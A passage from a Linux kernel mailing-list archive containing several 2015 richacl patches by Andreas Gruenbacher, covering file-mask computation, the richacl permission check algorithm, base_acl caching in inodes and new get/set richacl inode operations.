not provide file masks (such as setting an acl via nfsd). When user-space sets an acl via setxattr, the extended attribute already includes the file masks. Setting an acl also sets the file mode permission bits: they are determined by the file masks; see richacl_masks_to_mode(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 157 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 158 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index dd99773..4a10174 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -183,3 +183,160 @@ richacl_want_to_mask(unsigned int want) return mask; } EXPORT_SYMBOL_GPL(richacl_want_to_mask); + +/* + * Note: functions like richacl_allowed_to_who(), richacl_group_class_allowed(), + * and richacl_compute_max_masks() iterate through the entire acl in reverse + * order as an optimization. + * + * In the standard algorithm, aces are considered in forward order. When a + * process matches an ace, the permissions in the ace are either allowed or + * denied depending on the ace type. Once a permission has been allowed or + * denied, it is no longer considered in further aces. + * + * By iterating through the acl in reverse order, we can compute the same + * result without having to keep track of which permissions have been allowed + * and denied already. + */ + +/** + * richacl_allowed_to_who - permissions allowed to a specific who value + * + * Compute the maximum mask values allowed to a specific who value, taking + * everyone@ aces into account. + */ +static unsigned int richacl_allowed_to_who(struct richacl *acl, + struct richace *who) +{ + struct richace *ace; + unsigned int allowed = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_same_identifier(ace, who) || + richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + allowed |= ace->e_mask; + else if (richace_is_deny(ace)) + allowed &= ~ace->e_mask; + } + } + return allowed; +} + +/** + * richacl_group_class_allowed - maximum permissions of the group class + * + * Compute the maximum mask values allowed to a process in the group class + * (i.e., a process which is not the owner but is in the owning group or + * matches a user or group acl entry). This includes permissions granted or + * denied by everyone@ aces. + * + * See richacl_compute_max_masks(). + */ +static unsigned int richacl_group_class_allowed(struct richacl *acl) +{ + struct richace *ace; + unsigned int everyone_allowed = 0, group_class_allowed = 0; + int had_group_ace = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace) || + richace_is_owner(ace)) + continue; + + if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + everyone_allowed |= ace->e_mask; + else if (richace_is_deny(ace)) + everyone_allowed &= ~ace->e_mask; + } else { + group_class_allowed |= + richacl_allowed_to_who(acl, ace); + + if (richace_is_group(ace)) + had_group_ace = 1; + } + } + /* + * If the acl doesn't contain any group@ aces, richacl_allowed_to_who() + * wasn't called for the owning group. We could make that call now, but + * we already know the result (everyone_allowed). + */ + if (!had_group_ace) + group_class_allowed |= everyone_allowed; + return group_class_allowed; +} + +/** + * richacl_compute_max_masks - compute upper bound masks + * + * Computes upper bound owner, group, and other masks so that none of the + * permissions allowed by the acl are disabled. + * + * We don't make assumptions about who the owner is so that the owner can + * change with no effect on the file masks or file mode permission bits; this + * means that we must assume that all entries can match the owner. + */ +void richacl_compute_max_masks(struct richacl *acl) +{ + unsigned int gmask = ~0; + struct richace *ace; + + /* + * @gmask contains all permissions which the group class is ever + * allowed. We use it to avoid adding permissions to the group mask + * from everyone@ allow aces which the group class is always denied + * through other aces. For example, the following acl would otherwise + * result in a group mask of rw: + * + * group@:w::deny + * everyone@:rw::allow + * + * Avoid computing @gmask for acls which do not include any group class + * deny aces: in such acls, the group class is never denied any + * permissions from everyone@ allow aces, and the group class cannot + * have fewer permissions than the other class. + */ + +restart: + acl->a_owner_mask = 0; + acl->a_group_mask = 0; + acl->a_other_mask = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + + if (richace_is_owner(ace)) { + if (richace_is_allow(ace)) + acl->a_owner_mask |= ace->e_mask; + else if (richace_is_deny(ace)) + acl->a_owner_mask &= ~ace->e_mask; + } else if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) { + acl->a_owner_mask |= ace->e_mask; + acl->a_group_mask |= ace->e_mask & gmask; + acl->a_other_mask |= ace->e_mask; + } else if (richace_is_deny(ace)) { + acl->a_owner_mask &= ~ace->e_mask; + acl->a_group_mask &= ~ace->e_mask; + acl->a_other_mask &= ~ace->e_mask; + } + } else { + if (richace_is_allow(ace)) { + acl->a_owner_mask |= ace->e_mask & gmask; + acl->a_group_mask |= ace->e_mask & gmask; + } else if (richace_is_deny(ace) && gmask == ~0) { + gmask = richacl_group_class_allowed(acl); + if (likely(gmask != ~0)) + /* should always be true */ + goto restart; + } + } + } + + acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); +} +EXPORT_SYMBOL_GPL(richacl_compute_max_masks); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index f4d7040..911da84 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -297,5 +297,6 @@ extern void richace_copy(struct richace *, const struct richace *); extern int richacl_masks_to_mode(const struct richacl *); extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); +extern void richacl_compute_max_masks(struct richacl *); #endif /* __RICHACL_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:15 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 761EA7F3F for ; Sun, 11 Oct 2015 18:00:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 66286304059 for ; Sun, 11 Oct 2015 16:00:15 -0700 (PDT) X-ASG-Debug-ID: 1444604413-04cbb05fc03d5f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id rHPDgN3yJgu9nVAU (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:14 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 56BB7C0C1B20; Sun, 11 Oct 2015 23:00:13 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36X016614; Sun, 11 Oct 2015 19:00:07 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 09/46] richacl: Permission check algorithm Date: Mon, 12 Oct 2015 00:58:20 +0200 X-ASG-Orig-Subj: [PATCH v10 09/46] richacl: Permission check algorithm Message-Id: <1444604337-17651-10-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604413 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher A richacl roughly grants a requested access if the NFSv4 acl in the richacl grants the requested permissions according to the NFSv4 permission check algorithm and the file mask that applies to the process includes the requested permissions. Signed-off-by: Andreas Gruenbacher Reviewed-by: "J. Bruce Fields" --- fs/Makefile | 2 +- fs/richacl_inode.c | 149 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 3 + 3 files changed, 153 insertions(+), 1 deletion(-) create mode 100644 fs/richacl_inode.c diff --git a/fs/Makefile b/fs/Makefile index fe3e9dd..ec665fd 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,7 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o +richacl-y := richacl_base.o richacl_inode.o obj-y += quota/ diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c new file mode 100644 index 0000000..5098717 --- /dev/null +++ b/fs/richacl_inode.c @@ -0,0 +1,149 @@ +/* + * Copyright (C) 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +/** + * richacl_permission - richacl permission check algorithm + * @inode: inode to check + * @acl: rich acl of the inode + * @want: requested access (MAY_* flags) + * + * Checks if the current process is granted @mask flags in @acl. + */ +int +richacl_permission(struct inode *inode, const struct richacl *acl, + int want) +{ + const struct richace *ace; + unsigned int mask = richacl_want_to_mask(want); + unsigned int requested = mask, denied = 0; + int in_owning_group = in_group_p(inode->i_gid); + int in_owner_or_group_class = in_owning_group; + + /* + * A process is + * - in the owner file class if it owns the file, + * - in the group file class if it is in the file's owning group or + * it matches any of the user or group entries, and + * - in the other file class otherwise. + * The file class is only relevant for determining which file mask to + * apply, which only happens for masked acls. + */ + if (acl->a_flags & RICHACL_MASKED) { + if ((acl->a_flags & RICHACL_WRITE_THROUGH) && + uid_eq(current_fsuid(), inode->i_uid)) { + denied = requested & ~acl->a_owner_mask; + goto out; + } + } else { + /* + * When the acl is not masked, there is no need to determine if + * the process is in the group class and we can break out + * earlier of the loop below. + */ + in_owner_or_group_class = 1; + } + + /* + * Check if the acl grants the requested access and determine which + * file class the process is in. + */ + richacl_for_each_entry(ace, acl) { + unsigned int ace_mask = ace->e_mask; + + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_owner(ace)) { + if (!uid_eq(current_fsuid(), inode->i_uid)) + continue; + goto entry_matches_owner; + } else if (richace_is_group(ace)) { + if (!in_owning_group) + continue; + } else if (richace_is_unix_user(ace)) { + if (!uid_eq(current_fsuid(), ace->e_id.uid)) + continue; + if (uid_eq(current_fsuid(), inode->i_uid)) + goto entry_matches_owner; + } else if (richace_is_unix_group(ace)) { + if (!in_group_p(ace->e_id.gid)) + continue; + } else + goto entry_matches_everyone; + + /* + * Apply the group file mask to entries other than owner@ and + * everyone@ or user entries matching the owner. This ensures + * that we grant the same permissions as the acl computed by + * richacl_apply_masks(). + * + * Without this restriction, the following richacl would grant + * rw access to processes which are both the owner and in the + * owning group, but not to other users in the owning group, + * which could not be represented without masks: + * + * owner:rw::mask + * group@:rw::allow + */ + if ((acl->a_flags & RICHACL_MASKED) && richace_is_allow(ace)) + ace_mask &= acl->a_group_mask; + +entry_matches_owner: + /* The process is in the owner or group file class. */ + in_owner_or_group_class = 1; + +entry_matches_everyone: + /* Check which mask flags the ACE allows or denies. */ + if (richace_is_deny(ace)) + denied |= ace_mask & mask; + mask &= ~ace_mask; + + /* + * Keep going until we know which file class + * the process is in. + */ + if (!mask && in_owner_or_group_class) + break; + } + denied |= mask; + + if (acl->a_flags & RICHACL_MASKED) { + /* + * The file class a process is in determines which file mask + * applies. Check if that file mask also grants the requested + * access. + */ + if (uid_eq(current_fsuid(), inode->i_uid)) + denied |= requested & ~acl->a_owner_mask; + else if (in_owner_or_group_class) + denied |= requested & ~acl->a_group_mask; + else { + if (acl->a_flags & RICHACL_WRITE_THROUGH) + denied = requested & ~acl->a_other_mask; + else + denied |= requested & ~acl->a_other_mask; + } + } + +out: + return denied ? -EACCES : 0; +} +EXPORT_SYMBOL_GPL(richacl_permission); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 911da84..ef3654e 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -299,4 +299,7 @@ extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); +/* richacl_inode.c */ +extern int richacl_permission(struct inode *, const struct richacl *, int); + #endif /* __RICHACL_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 15C577F47 for ; Sun, 11 Oct 2015 18:00:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A5910AC003 for ; Sun, 11 Oct 2015 16:00:26 -0700 (PDT) X-ASG-Debug-ID: 1444604420-04bdf020dca1ac0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id L98On01zBhsCErq7 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:20 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 3C5B3A3813; Sun, 11 Oct 2015 23:00:20 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36Y016614; Sun, 11 Oct 2015 19:00:13 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 10/46] vfs: Cache base_acl objects in inodes Date: Mon, 12 Oct 2015 00:58:21 +0200 X-ASG-Orig-Subj: [PATCH v10 10/46] vfs: Cache base_acl objects in inodes Message-Id: <1444604337-17651-11-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604420 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com From: Andreas Gruenbacher POSIX ACLs and richacls are both objects allocated by kmalloc() with a reference count which are freed by kfree_rcu(). An inode can either cache an access and a default POSIX ACL, or a richacl (richacls do not have default acls). To allow an inode to cache either of the two kinds of acls, introduce a new base_acl type and convert i_acl and i_default_acl to that type. In most cases, the vfs then doesn't have to care which kind of acl an inode caches (if any). Signed-off-by: Andreas Gruenbacher --- drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- fs/f2fs/acl.c | 4 ++-- fs/inode.c | 4 ++-- fs/jffs2/acl.c | 6 ++++-- fs/posix_acl.c | 18 +++++++++--------- include/linux/fs.h | 25 ++++++++++++++++++++++--- include/linux/posix_acl.h | 12 ++++-------- include/linux/richacl.h | 2 +- 8 files changed, 45 insertions(+), 28 deletions(-) diff --git a/drivers/staging/lustre/lustre/llite/llite_lib.c b/drivers/staging/lustre/lustre/llite/llite_lib.c index b4ed6c8..5766f69 100644 --- a/drivers/staging/lustre/lustre/llite/llite_lib.c +++ b/drivers/staging/lustre/lustre/llite/llite_lib.c @@ -1118,7 +1118,7 @@ void ll_clear_inode(struct inode *inode) } #ifdef CONFIG_FS_POSIX_ACL else if (lli->lli_posix_acl) { - LASSERT(atomic_read(&lli->lli_posix_acl->a_refcount) == 1); + LASSERT(atomic_read(&lli->lli_posix_acl->a_base.ba_refcount) == 1); LASSERT(lli->lli_remote_perms == NULL); posix_acl_release(lli->lli_posix_acl); lli->lli_posix_acl = NULL; diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index c8f25f7..a4207de 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -270,7 +270,7 @@ static struct posix_acl *f2fs_acl_clone(const struct posix_acl *acl, sizeof(struct posix_acl_entry); clone = kmemdup(acl, size, flags); if (clone) - atomic_set(&clone->a_refcount, 1); + atomic_set(&clone->a_base.ba_refcount, 1); } return clone; } @@ -282,7 +282,7 @@ static int f2fs_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) umode_t mode = *mode_p; int not_equiv = 0; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { diff --git a/fs/inode.c b/fs/inode.c index 78a17b8..2a387f4 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -233,9 +233,9 @@ void __destroy_inode(struct inode *inode) #ifdef CONFIG_FS_POSIX_ACL if (inode->i_acl && inode->i_acl != ACL_NOT_CACHED) - posix_acl_release(inode->i_acl); + put_base_acl(inode->i_acl); if (inode->i_default_acl && inode->i_default_acl != ACL_NOT_CACHED) - posix_acl_release(inode->i_default_acl); + put_base_acl(inode->i_default_acl); #endif this_cpu_dec(nr_inodes); } diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 2f7a3c0..04a5836 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -294,13 +294,15 @@ int jffs2_init_acl_post(struct inode *inode) int rc; if (inode->i_default_acl) { - rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_DEFAULT, inode->i_default_acl); + rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_DEFAULT, + *acl_by_type(inode, ACL_TYPE_DEFAULT)); if (rc) return rc; } if (inode->i_acl) { - rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_ACCESS, inode->i_acl); + rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_ACCESS, + *acl_by_type(inode, ACL_TYPE_ACCESS)); if (rc) return rc; } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 4fb17de..b3b2265 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -25,9 +25,9 @@ struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { case ACL_TYPE_ACCESS: - return &inode->i_acl; + return (struct posix_acl **)&inode->i_acl; case ACL_TYPE_DEFAULT: - return &inode->i_default_acl; + return (struct posix_acl **)&inode->i_default_acl; default: BUG(); } @@ -83,16 +83,16 @@ EXPORT_SYMBOL(forget_cached_acl); void forget_all_cached_acls(struct inode *inode) { - struct posix_acl *old_access, *old_default; + struct base_acl *old_access, *old_default; spin_lock(&inode->i_lock); old_access = inode->i_acl; old_default = inode->i_default_acl; inode->i_acl = inode->i_default_acl = ACL_NOT_CACHED; spin_unlock(&inode->i_lock); if (old_access != ACL_NOT_CACHED) - posix_acl_release(old_access); + put_base_acl(old_access); if (old_default != ACL_NOT_CACHED) - posix_acl_release(old_default); + put_base_acl(old_default); } EXPORT_SYMBOL(forget_all_cached_acls); @@ -129,7 +129,7 @@ EXPORT_SYMBOL(get_acl); void posix_acl_init(struct posix_acl *acl, int count) { - atomic_set(&acl->a_refcount, 1); + atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; } EXPORT_SYMBOL(posix_acl_init); @@ -162,7 +162,7 @@ posix_acl_clone(const struct posix_acl *acl, gfp_t flags) sizeof(struct posix_acl_entry); clone = kmemdup(acl, size, flags); if (clone) - atomic_set(&clone->a_refcount, 1); + atomic_set(&clone->a_base.ba_refcount, 1); } return clone; } @@ -384,7 +384,7 @@ static int posix_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) umode_t mode = *mode_p; int not_equiv = 0; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { @@ -439,7 +439,7 @@ static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) struct posix_acl_entry *group_obj = NULL, *mask_obj = NULL; struct posix_acl_entry *pa, *pe; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { diff --git a/include/linux/fs.h b/include/linux/fs.h index ba91a89..3c22c92 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -576,6 +576,12 @@ static inline void mapping_allow_writable(struct address_space *mapping) #define i_size_ordered_init(inode) do { } while (0) #endif +struct base_acl { + union { + atomic_t ba_refcount; + struct rcu_head ba_rcu; + }; +}; struct posix_acl; #define ACL_NOT_CACHED ((void *)(-1)) @@ -595,9 +601,9 @@ struct inode { kgid_t i_gid; unsigned int i_flags; -#ifdef CONFIG_FS_POSIX_ACL - struct posix_acl *i_acl; - struct posix_acl *i_default_acl; +#if defined(CONFIG_FS_POSIX_ACL) + struct base_acl *i_acl; + struct base_acl *i_default_acl; #endif const struct inode_operations *i_op; @@ -3059,4 +3065,17 @@ static inline bool dir_relax(struct inode *inode) extern bool path_noexec(const struct path *path); +static inline struct base_acl *get_base_acl(struct base_acl *acl) +{ + if (acl) + atomic_inc(&acl->ba_refcount); + return acl; +} + +static inline void put_base_acl(struct base_acl *acl) +{ + if (acl && atomic_dec_and_test(&acl->ba_refcount)) + kfree_rcu(acl, ba_rcu); +} + #endif /* _LINUX_FS_H */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 3e96a6a..2c46441 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -43,10 +43,7 @@ struct posix_acl_entry { }; struct posix_acl { - union { - atomic_t a_refcount; - struct rcu_head a_rcu; - }; + struct base_acl a_base; unsigned int a_count; struct posix_acl_entry a_entries[0]; }; @@ -61,8 +58,7 @@ struct posix_acl { static inline struct posix_acl * posix_acl_dup(struct posix_acl *acl) { - if (acl) - atomic_inc(&acl->a_refcount); + get_base_acl(&acl->a_base); return acl; } @@ -72,8 +68,8 @@ posix_acl_dup(struct posix_acl *acl) static inline void posix_acl_release(struct posix_acl *acl) { - if (acl && atomic_dec_and_test(&acl->a_refcount)) - kfree_rcu(acl, a_rcu); + BUILD_BUG_ON(offsetof(struct posix_acl, a_base) != 0); + put_base_acl(&acl->a_base); } diff --git a/include/linux/richacl.h b/include/linux/richacl.h index ef3654e..a186cb9 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -176,7 +176,7 @@ static inline struct richacl * richacl_get(struct richacl *acl) { if (acl) - atomic_inc(&acl->a_refcount); + atomic_inc(&acl->a_base.ba_refcount); return acl; } -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AEE8E7F80 for ; Sun, 11 Oct 2015 18:00:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D30EAC001 for ; Sun, 11 Oct 2015 16:00:28 -0700 (PDT) X-ASG-Debug-ID: 1444604427-04bdf020dda1ad0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ir9BnldOlBZwkZ1U (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:27 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 214A82FE839; Sun, 11 Oct 2015 23:00:27 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36Z016614; Sun, 11 Oct 2015 19:00:20 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 11/46] vfs: Add get_richacl and set_richacl inode operations Date: Mon, 12 Oct 2015 00:58:22 +0200 X-ASG-Orig-Subj: [PATCH v10 11/46] vfs: Add get_richacl and set_richacl inode operations Message-Id: <1444604337-17651-12-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604427 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher These operations are similar to the get_acl and set_acl operations for POSIX ACLs. The distinction between access and default ACLs doesn't exist for richacls. Signed-off-by: Andreas Gruenbacher --- include/linux/fs.h | 2 ++ 1 file changed, 2 insertions(+) diff --git a/include/linux/fs.h b/include/linux/fs.h index 3c22c92..08fde42 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1662,6 +1662,7 @@ struct inode_operations { const char * (*follow_link) (struct dentry *, void **); int (*permission) (struct inode *, int); struct posix_acl * (*get_acl)(struct inode *, int); + struct richacl * (*get_richacl)(struct inode *); int (*readlink) (struct dentry *, char __user *,int); void (*put_link) (struct inode *, void *); @@ -1691,6 +1692,7 @@ struct inode_operations { umode_t create_mode, int *opened); int (*tmpfile) (struct inode *, struct dentry *, umode_t); int (*set_acl)(struct inode *, struct posix_acl *, int); + int (*set_richacl)(struct inode *, struct richacl *); /* WARNING: probably going away soon, do not use! */ } ____cacheline_aligned; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 57C147F52 for ; Sun, 11 Oct 2015 18:00:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4543D304051 for ; Sun, 11 Oct 2015 16:00:36 -0700 (PDT) X-ASG-Debug-ID: 1444604434-04cbb05fbf3d600001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id B1jDhfe9cC4Ci6lW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:34 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com 